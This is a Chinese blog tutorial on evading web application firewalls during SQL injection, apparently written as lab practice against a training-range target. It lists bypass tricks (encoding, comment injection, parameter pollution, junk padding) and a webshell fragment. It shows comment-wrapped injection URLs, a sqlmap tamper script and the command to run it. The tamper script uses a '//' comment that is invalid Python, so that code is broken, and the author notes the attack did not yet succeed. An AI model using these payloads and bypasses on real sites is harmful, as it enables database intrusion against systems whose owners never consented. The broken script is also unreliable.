sqlmap绕华夫

2022/3/30 2:27:10

本文主要是介绍sqlmap绕华夫,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

0x001 waf介绍

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)
核心目的:防御网站被入侵。
具体手段:检测到你的入侵者,然后拦截你当前访问的页面或者是跳转其他页面,或者是直接禁止你的ip访问。
日常生活中,有些网站不一定安装了WAF,但是他可能会有自己的防护策略,过滤你的恶意传参数据,例如传参不能出现union,不能出现and 1=1等等等
常见的waf:https://www.cnblogs.com/charon1937/p/13799467.html
waf实现的核心机制一般是:正则表达式
绕waf的核心原则是:先在本地搭建环境测试

0x002 常见的绕过手法

1、用其他函数、写法替代 $a=get_defined_functions();$a['internal']841; (这个是一句话木马)
2、大小写绕过(有些老WAF大小写就能绕)
3、替换绕过:有些过滤规则强行删除检测到的代码,然后执行
4、编码绕过:网站因为功能需要有编解码,然后因为WAF不认识编码后的值然后绕过了
5、注释绕过:WAF有的时候会认为注释后的东西是安全的,然后可以尝试hpp
6、白名单绕过:本地访问可能不拦截、管理员权限 (1、文件白名单 )
7、垃圾数据填充:写个一大堆数据,然后传参,WAF只检测其中一部分绕过了

1、4、7是比较常见的

常见替代:
空格替代+(+是因为URL编码) 或者是/**/
sleep() 用 sleep/**/()或者`sleep`()代替

0x003 绕waf的sqlmap脚本编写

这里以机构的靶场为例http://p9kj8014.ia.aqlab.cn/index.php?id=1

①http://p9kj8014.ia.aqlab.cn/index.php?id=1 and 1=1
image
发现被拦截了

②我们发现构造http://p9kj8014.ia.aqlab.cn/index.php?id=1/*order by 1&id=1 order by 2 -- qwe*/ 这种特殊的url语句可以帮助我们绕过waf

③开始编写sqlmap的脚本
https://www.webshell.cc/7162.html

#!/usr/bin/env python


import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload=payload + '-- qwe*/' //在所有的url语句后加上-- qwe*/
    return payload

④我们现在就可以用sqlmap跑包了
抓包之后构建语句

sqlmap.py -r maoshe.txt --tamper smart01.py
image

这里要选择no因为我们* 并不算注入点
待更新(sqlmap暂时没有跑出来)



这篇关于sqlmap绕华夫的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程